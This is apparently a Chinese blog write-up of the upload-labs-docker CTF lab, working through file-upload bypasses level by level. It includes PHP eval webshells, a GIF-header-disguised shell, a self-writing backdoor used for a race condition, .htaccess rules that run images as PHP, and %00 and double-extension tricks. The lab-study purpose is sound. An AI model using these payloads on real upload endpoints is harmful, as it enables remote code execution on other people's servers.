文件上传upload-labs-docker通关
(图片加载不出,说明被和谐了)
项目一:
sqlsec/ggctf-upload - Docker Image | Docker Hub
学习过程中,可以对照源码进行白盒分析.
补充:环境搭建在Linux虚拟机上的同时,以另一台Windows虚拟机进行测试最好。
本地机....容易被杀马。
项目二:
文件上传笔记 阶段一:
文件上传
[原生态、拓展类、安全框架类]
思维导图
![alt text](image-10.png)核心 : 通过上传 尝试连接后门的攻击
# 必读:
一、文件解析的对应关系.
(图片中嵌入代码,但是由于解析关系一对一,使用只能解析成图片.)
[错误解析配置、解析漏洞时,才可行]二、 防护考虑
后缀、文件类型(文本类、图像类...)、文件内容等 语言版本、语言函数、中间件、第三方、存储逻辑、存储方案通用: 验证逻辑[函数先后、黑白名单等]、内容检测[文件类型、文件头]等# 原生态检测前端JS[反应快、] : 看源码>抓包判断[不经过直接报错,则说明∈JS]
后端PHP中间件 配置解析规则APache
[htaccess在站点的根目录下面,不是在apache目录下,但是它属于apache的一个配置文件]
核心:.htaccess未过滤 .htaccess可以xxx做php执行.
方法一:创建.htaccess
内容:
<FilesMatch "\.jpg"> # 可以改变 例如 \.png \.gif ...SetHandler application/x-httpd-php
</FilesMatch>或者:抓包修改: filename=.htaccess [文件为被限制类型php等/后端验证]内容:AddType application/x-httpd-php方法二:
filename[文件为被限制的php-后端验证.] = .htaccess
内容: AddType application/x-http-php .png .jpg ...https://blog.csdn.net/weixin_46684578/article/details/119141109user.ini文件类型 注:修改后缀名,改变的仅是文件类型,文件头并没有被修改.
图像类:
Content-Type: image/gif [gif]
Content-Type: image/png [png]
Content-Type: image/jpeg [jpg、jpeg]
Content-Type: image/bmp [.bmp]Content-Type: text/html [.html]
Content-Type: application/x-zip-compressed [.zip]
Content-Type: application/x-compressed [.rar]
Content-Type: application/x-msdownload [.exe]
Content-Type: application/pdf [.pdf]
Content-Type: application/msword [.doc]一句话木马文件类型:
Content-Type: application/octet-stream [.php、.asp、.jsp]
Content-Type: application/xml [.aspx]图像类文件头部特征码 :010编辑器头部标识.
GIF89a |GIF87a [gif]
GIF89a<?php eval($_POST["pass"]);其他的好像不行...
‰PNG [png]
ÿØÿ [jpg]
BM [.bmp]后缀通过文件头判断文件后缀
通过文件类型判断文件后缀
通过文件后缀判断文件后缀[黑名单、白名单]
黑名单:
[array("php","php5","php4","php3","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf"]
[,"jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");]%00截断 | url解码>>> 具体由浏览器解析决定(url自动解码、post手动)
条件 1.PHP版本5.3.4 2.模式开关![alt text](mind-map.png)访问即创建
![alt text](image-11.png)
<?php fputs(fopen('xiaodi.php','w'),'<?php eval($_REQUEST[1]);?>');?> # 访问即创建后门代码.一个一直访问,一个一直创建[相遇即产生----条件竞争]条件竞争[因为代码的执行逻辑,先上传,再判断>>>错误,所以导致条件竞争马产生]
[原理:因为再服务器短暂存在过]二次渲染
原理[让其更美好的显示--->代码会改变,所以需要通过对比,保留部分,进而写马]
![alt text](image-12.png)问题: 文件包含漏洞
![alt text](image-13.png)函数缺陷:
move_uploaded_file() ---> shell.php/. [自己指定时有重命名缺陷]二阶段
......
项目三
less-1 JavaScript 绕过
ctrl+u 查看页面源代码. 发现是前端验证.
方法一、浏览器禁用前端JS
方法二、bp抓包:
前端验证的特点:如上所见.
只有当文件格式正确时,才会进行上传到upload目录下.
所以,
提供思路: 在前端一开始,上传符合文件格式的后缀(图像类后缀.)
通过前端验证后,通过抓包进行修改。
验证:
less-2 解析上传
中间件解析错误、中间件漏洞导致文件上传安全问题.:
[原理:配置·文件解析错误,导致图像类型当作PHP类型执行.]
可以通过whatweb知晓也可通过浏览器插件:
在源码中,黑名单过滤而又没有过滤.htaccess:
网上查htaccess相关资料:
文件上传之 .htaccess文件getshell_上传.htaccess后再上传jpg文件-CSDN博客
拓展 还有user.ini具体我不知道。。。
先上传.htaccess文件内容可以为:
核心:.htaccess未过滤 .htaccess可以xxx做php执行.
创建.htaccess
内容:
<FilesMatch "\.jpg"> # 可以改变 例如 \.png \.gif ...SetHandler application/x-httpd-php
</FilesMatch>或者:抓包修改: filename=.htaccess [/文件为被限制类型/后端验证]内容:AddType application/x-http-php .png ...
[创建]
[抓包] ---
错误示范--jpg--[抓包]
【不知道是哪儿问题[感觉网络连通性。。?],抓包,按理来说图像类,应该都可,但是jpg不可以,png可以。。。】
【这里推荐创建的方法,jpg、png都可以的.】
less-3 MIME绕过
【通过文件类型判断文件后缀】
方法一、
查看源码:
禁用JS上传,发现依旧连接不上。
猜测是,文件结构导致,进行抓包.修改.先上传1.png抓包过程中改回1.php
(因为Windows大小写不敏感,且通过文件后缀->文件头 标识文件类别.[图像类、音频类等],不过此题仅对文件类型进行判断.并没有对文件头进行判断.)
注:修改后缀名,改变的仅是文件类型,文件头并没有被修改.
文件头部特征码 :010编辑器头部标识.
验证:
less-4 文件头绕过.
【通过文件头判断文件后缀】
前置知识在less-2进行提到过.
所以这里需要修改两个地方:
一、上传符合后缀名,在抓包过程中进行修改.[匹配文件类型]
二、给文件内容中写入"文件头+填充"[匹配文件头.]
例子:
验证:
此外:其他图像类的好像...不太行。大概可能?gif文件头刚好位于可见字符?【求解惑...】
less-5 有缺陷的代码 1
【通过文件后缀判断文件后缀】
黑名单
白名单
ctrl+U看页面源码,发现验证逻辑在后端.
上传一个违规文件123.php并访问:
继续上传一个违规文件123.php%00并访问:
发现php被截断。
【可以猜测大致猜测是替换功能类的函数:问的豆妈,具体差异不论,只知晓具有replace功能.
str_replace () 函数、str_ireplace ()函数、preg_replace () 函数、substr_replace () 函数等
】
那么
上传一个文件123.pphphp并访问:【利用它的截断】
验证:
源码:
存在的一些安全问题: (这也是为什么pphphp能够上传的原因.)
【无递归、只检测一次、没有循环操作、且没有区分大小写[函数缺陷] 等】
str_ireplace () 和str_replace ()类似 但是不区分大小写【多个 i 就不区分大小写咯。。。】
less-6 有缺陷的代码 2(存在缺陷)
# 红色字体。 Windows特性.
很大概率考察的是
Windows 【文件后缀大小写不区分】
Linux 【文件后缀大小写区分】-----Linux以文件模式为主、文件头辅助去判断.不依靠文件后缀
上传违规文件 123.php 并访问
截断
上传文件 123.pphphp并访问:
填充字符 %20 也就是空格.
上传文件 12345.phP
额。。。翻车。。。【可能网络连通性吧...或者360改成不可执行权限了也可能我不会...】
不过不重要,知道有这个就行。
源码:
用上不过使用的是: str_replace () 大小写区分. phP就会绕过黑名单.
[Windows对大小写敏感]所以理论上会自行[- - 我的这种情况....没执行权限?...?]
less-7 古老的漏洞? 1
原理;因为php是基于C语言等基础开发而来.所以,C语言的缺陷在其他语言可能也会存在
一看就知道咯 —— %00截断.
条件:
- magic_quotes_gpc = Off
- PHP 版本小于 5.3.4 【主要】
操作:
访问图像地址:
因为实际上被我们的a.php%00进行截断了.
所以其实:
详细操作:
【以1.php作为演示.】
抓包并进行重放并查看php版本:
发现上传失败,文件类型不匹配,但是php版本匹配。
修改文件后缀.发现上传成功.且进行了重命名.
使用aaa.php%00进行截断
未截断前:
截断后:
再次说明原理:
简单来说,即是使基于重命名的缺陷。使aaa.php%00截断了原本的重命名.重新以aaa.php命名
(用于验证: 1.jpg用 xxx.php%00截断命名.
总结:语言版本而造成的上传安全漏洞。
less-8 古老的漏洞? 2
同 30007关类似
不一样的点:
上传目录在POST内容之中,而不是在POST标头中。
操作方法一致,但需要进行URL编码操作.
【标头自带URL解码、但内容中需要先解码才行.---->对%00进行解码操作操作。】
咳咳咳,失误示范:(1.php->1.png ...)
修改好之后:
总结: 与7一样。需要知晓%00位于不同位置的处理.
less-9 黑名单缺陷。
首先需要知道 黑名单和白名单的区别:
黑名单:包含在内都排除。
白名单:不包含在内都排除。
【因为靶场,已经告知是PHP黑名单缺陷】那么,根据此,可以直接使用bp PHP字典爆破去跑。
太多了,。。。打完恢复快照。。。 - -
less-10 条件竞争
原理基于代码逻辑错误:先上传再验证最后再是否留下。
虽然,实际存在时间非常短暂,但攻击者可以通过bp攻击模块进行--->卡bug。
即:一个数据包一直设置创建后门,另一个文件一直访问该文件创建的后门。同时进行。
古语讲:" 金蝉脱壳 "
的那种感觉。。。
复现:
一、先准备不断访问的数据包。
通过抓包得到,发送到intruder模块.
条件设置.
二、后门创建文件代码
<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>
通过抓包得到,发送到intruder模块.(同上)
条件设置.(同上)
同时进行:
GO!
人工:
http://192.168.117.140:30010/upload/xiao.php # F5不断刷新.
bp:
- -
对不起,我不配。get不出来。。。T^T
less-11 二次渲染(存在缺陷.)
即:上传的文件会被网站进行二次操作。
参考。
【文件上传绕过】——二次渲染漏洞_二次渲染绕过-CSDN博客
对比文件即可:
.....
.......
.........
不会,,,
其实我有疑惑.....文件后缀、文件类型、文件格式都没改、仅在文件编辑中添加webshell怎么可能执行.....或许我哪儿错了...(想明白了再补.)
less-12 move_uploaded_file 绕过
函数缺陷:
move_uploaded_file() ---> shell.php/. [自己指定时有重命名缺陷]
less-13 代码审计(待补.)
不想做了.
(待补)
相关文章:
文件上传upload-labs-docker通关
(图片加载不出,说明被和谐了) 项目一: sqlsec/ggctf-upload - Docker Image | Docker Hub 学习过程中,可以对照源码进行白盒分析. 补充:环境搭建在Linux虚拟机上的同时,以另一台Windows虚拟机进行测试最…...
git(Linux)
1.git 三板斧 基本准备工作: 把远端仓库拉拉取到本地了 .git --> 本地仓库 git在提交的时候,只会提交变化的部分 就可以在当前目录下新增代码了 test.c 并没有被仓库管理起来 怎么添加? 1.1 git add test.c 也不算完全添加到仓库里面&…...
Doris实战—构建日志存储与分析平台
构建日志存储与分析平台 日志是系统运行的详细记录,包含各种事件发生的主体、时间、位置、内容等关键信息。出于运维可观测、网络安全监控及业务分析等多重需求,企业通常需要将分散的日志采集起来,进行集中存储、查询和分析,以进一步从日志数据里挖掘出有价值的内容。 针…...
【vue3+Typescript】unapp+stompsj模式下替代plus-websocket的封装模块
由于plus-websocket实测存在消息丢失的问题,只能寻找替代的方案,看文章说使用原生的即可很好的工作。而目前在stompjs里需要使用websocket类型的封装模块,看了下原来提供的接口,采用uniapp原生的websocket模式,对原模块…...
Tcon技术和Tconless技术介绍
文章目录 TCON技术(传统时序控制器)定义:主要功能:优点:缺点: TCONless技术(无独立时序控制器)定义:工作原理:优点:缺点: TCON与TCONl…...
C#-利用反射自动绑定请求标志类和具体执行命令类
文章速览 概述例程请求类命名空间父类示例子类示例 命令类命名空间子类示例 记录的数据结构实现绑定方法 坚持记录实属不易,希望友善多金的码友能够随手点一个赞。 共同创建氛围更加良好的开发者社区! 谢谢~ 概述 需求: 将指定的两种类型的…...
高中数学练习:初探均值换元法
文章目录 1. 均值换元法定义2. 均值换元法优点3. 均值换元法应用4. 均值换元法示例4.1 求解分式方程4.2 求解指数方程4.3 计算最大值 5. 实战小结 1. 均值换元法定义 均值换元法是一种数学技巧,通过引入新变量 t t t将两个变量 x x x和 y y y表示为它们的平均值加上…...
数据结构单链表,顺序表,广义表,多重链表,堆栈的学习
单链表 比如一个多项式,主要包括x的系数,x的指数,那么可以创建一个一维数组来存储它的系数和指数,用数组下标来表示。它的系数可以用数组下标对应的数组元素来储存。 可是这样储存会浪费空间所以采用单链表形式来存储。 即创建一…...
【保姆级教程】使用lora微调LLM并在truthfulQA数据集评估(Part 2.在truthfulQA上评估LLM)
上一期我们成功用lora微调了一个模型传送门,怎样评估模型呢?目前LLM没有一个统一的BENCHMARK。我们今天选用truthfulQA。 truthfulQA数据集格式如下所示 {question: What is the smallest country in the world that is at least one square mile in ar…...
thinkphp中对请求封装
请求的封装 //调用 $res Http::post($this->baseUrl . $url,$params,[CURLOPT_HTTPHEADER > [Content-Type: application/json,Content-Length: . strlen($params),],]);<?php namespace fast; /*** 字符串类*/ class Http {/*** 发送一个POST请求*/public static …...
leetcode hot100【LeetCode 215.数组中的第K个最大元素】java实现
LeetCode 215.数组中的第K个最大元素 题目描述 给定一个整数数组 nums 和一个整数 k,请返回数组中第 k 个最大的元素。 请注意,要求排名是从大到小的,因此第 k 个最大元素是排序后的第 k 个元素。你需要设计一个高效的算法来解决这个问题。…...
簡單易懂:如何在Windows系統中修改IP地址?
無論是為了連接到一個新的網路,還是為了解決網路連接問題,修改IP地址都是一個常見的操作。本文將詳細介紹如何在Windows系統中修改IP地址,包括靜態IP地址的設置和動態IP地址的獲取。 IP地址是什麼? IP地址是互聯網協議地址的簡稱…...
Python中的23种设计模式:详细分类与总结
设计模式是解决特定问题的通用方法,分为创建型模式、结构型模式和行为型模式三大类。以下是对每种模式的详细介绍,包括其核心思想、应用场景和优缺点。 一、创建型模式(Creational Patterns) 创建型模式关注对象的创建࿰…...
日历使用及汉化——fullcalendar前端
官网 FullCalendar - JavaScript Event Calendar 引入项目 <link hrefhttps://cdnjs.cloudflare.com/ajax/libs/fullcalendar/5.10.1/main.min.css relstylesheet /><script srchttps://cdnjs.cloudflare.com/ajax/libs/fullcalendar/5.10.1/main.min.js></sc…...
视频截断,使用 FFmpeg
使用 FFmpeg 截取视频并去掉 5 分 49 秒后的内容,可以使用以下命令: ffmpeg -i input.mp4 -t 00:05:49 -c:v libx264 -crf 23 -preset medium -c:a aac -b:a 192k output.mp4-i input.mp4: 指定输入视频文件 input.mp4。 -t 00:05:49&#x…...
使用系统内NCCL环境重新编译Pytorch
intro: 费了老大劲,来重新编译pytorch,中间报了无数错误。原生的编译好的pytorch是直接用的其自带NCCL库,并且从外部是不能进行插桩的,因为根本找不到libnccl.so文件。下面记录下重新编译pytorch的过程。指定USE_SYSTEM_NCCL1。这…...
1. Klipper从安装到运行
本文记录Klipper固件从安装,配置到运行的详细过程 Klipper是3D打印机固件之一,它通常运行在linux系统(常使用Debian,其它的linux版本也可以)上,因此需要一个能运行Linux系统的硬件,比如电脑&am…...
docker 卸载与安装
卸载 查询之前安装的docker, 没有查到则不用卸载删除 yum list installed | grep docker 卸载安装包 yum remove docker-* -y 删除镜像、容器、默认挂载卷 rm -rf /var/lib/docker 安装 -ce 安装稳定版本 -y 当安装过程提示选择全部为 "yes" yum install d…...
跨部门文件共享安全:平衡协作与风险的关键策略
在现代企业中,跨部门协作已成为推动业务发展的关键因素。然而,随着信息的自由流动和共享,文件安全风险也随之增加。如何在促进跨部门协作的同时,确保文件共享的安全性,成为了一个亟待解决的问题。 一、明确文件分类与…...
基于单片机的智慧小区人脸识别门禁系统
本设计基于单片机的智慧小区人脸识别门禁系统。由STM32F103C8T6单片机核心板、显示模块、摄像头模块、舵机模块、按键模块和电源模块组成。可以通过摄像头模块对进入人员人脸数据进行采集,识别成功后,舵机模块动作,模拟门禁打开,门…...
【es6】原生js在页面上画矩形及删除的实现方法
画一个矩形,可以选中高亮,删除自己效果的实现,后期会丰富下细节,拖动及拖动调整矩形大小 实现效果 代码实现 class Draw {constructor() {this.x 0this.y 0this.disX 0this.disY 0this.startX 0this.startY 0this.mouseDo…...
【git实践】分享一个适用于敏捷开发的分支管理策略
文章目录 1. 背景2. 分支管理实践2.1. 敏捷开发中分支管理面临的问题2.2. 分支管理策略2.3. 还需要注意的一些问题 3.总结 1. 背景 在实际的开发工作中,我们往往会面临多任务并行研发,多个环境管理的情况,这种情况下,一个合适的分…...
Redis与MySQL如何保证数据一致性
Redis与MySQL如何保证数据一致性 简单来说 该场景主要发生在读写并发进行时,才会发生数据不一致。 主要流程就是要么先操作缓存,要么先操作Redis,操作也分修改和删除。 一般修改要执行一系列业务代码,所以一般直接删除成本较低…...
基于微信小程序的教室预约系统+LW示例参考
1.项目介绍 功能模块:管理员(学生管理、教师管理、申请管理、设备管理、报修管理等)、普通用户/学生(注册登录、申请预约、退订、报修等)技术选型:SSM、JSP、uniapp等测试环境:idea2024&#x…...
Linux 安装 Git 服务器
一、安装 Git 1. 在 CentOS/RHEL 中使用以下命令: sudo yum update -y # 或者 sudo dnf update -y (在较新的系统中) sudo yum install git -y验证安装:git --version 2. 配置 Git 用户 git config --global user.name "Your Name" git co…...
总结:Yarn资源管理
一、介绍 本文梳理下Yarn的资源分配计算逻辑。 二、配置 - 资源限制 1、配置NodeManager可分配的资源池的总量 <property><name>yarn.nodemanager.resource.memory-mb</name><value>4096</value> </property> 作用对象:节点管理器(No…...
Python学习34天
import random class Game: peo0 rob0 # # def __init__(self,peo,rob): # self.peopeo # self.robrob def Play(self): """ 石头剪刀布游戏,0代表石头,1代见到,2代表石头 …...
深入浅出 WebSocket:构建实时数据大屏的高级实践
简介 请参考下方,学习入门操作 基于 Flask 和 Socket.IO 的 WebSocket 实时数据更新实现 在当今数字化时代,实时性是衡量互联网应用的重要指标之一。无论是股票交易、在线游戏,还是实时监控大屏,WebSocket 已成为实现高效、双向…...
三开关VUE组件
一、使用效果 <template><QqThreeSwitch v-model"value" /><!-- <SqThreeSwitch v-model"value" :options"[test1, test2, test3]"><template #left-action><div style"display: flex"><IconMoon…...
SpringCloud+SpringCloudAlibaba学习笔记
SpringCloud 服务注册中心 eureka ap 高可用 分布式容错 <dependency><groupId>org.springframework.cloud</groupId><artifactId>spring-cloud-starter-netflix-eureka-server</artifactId> </dependency> <dependency><groupId…...
企业网站风格/微信推广软件
2019独角兽企业重金招聘Python工程师标准>>> How to implement the function that supports concurrent downloading? 在看完 小心,AsyncTask 不是萬能的 以及 深入研究 IntentService 原始碼 這兩篇文章後,我想你應該已經對如何寫個正確處理…...
购物网站的开发/官方app下载安装
椒盐噪声去噪【摘要】 【摘 要】本文对中值滤波算法进行了改进,提出了一种基于噪声点检测的椒盐噪声去除方法。椒盐噪声去噪对分布在噪声范围内的点进行噪声点检测,对确定为噪声点的像素点进行中值滤波,其他像素点保持不变。 【关键词...【摘…...
洛阳网站开发/seo关键词优化技术
xpath 省略中间路径在我的职业生涯的大部分时间里,我一直在从事软件开发工作,因此,即使我不止一次涉足解决方案工程,我还是把自己视为软件开发人员(或软件架构师)。 这肯定会对我如何看待架构景观产生影响&…...
广州外贸营销型网站/网址缩短在线生成器
实现效果:实现功能:viewpagerfragment实现加载界面sqlite数据获取并显示到listview上listview的item监听并携带数据跳转到其他界面使用sharedpreference存储部分测试数据实现过程:各方法和变量的作用请详见代码注释。listview的数据显示请见a…...
有哪些网站可以学做糕点的/重庆关键词搜索排名
react-native-app-introreact-native-app-intro是一个react native组件,实现了一个视觉差效果欢迎页,基于react-native-swiper,类似与谷歌应用程序比如Sheet,Drive,Docs等。支持iOS、Android安装基础使用你可以使用pag…...
京东网站建设步骤/广东云浮疫情最新情况
全球最厉害的14位程序员都有哪些人?接下来让我们一起来看一下让业界膜拜的这十几位顶级编程大神。 注意,排名不分先后。 01 Jon Skeet 个人名望:程序技术问答网站Stack Overflow总排名第一的大神,每月的问答量保持在425个左右。 …...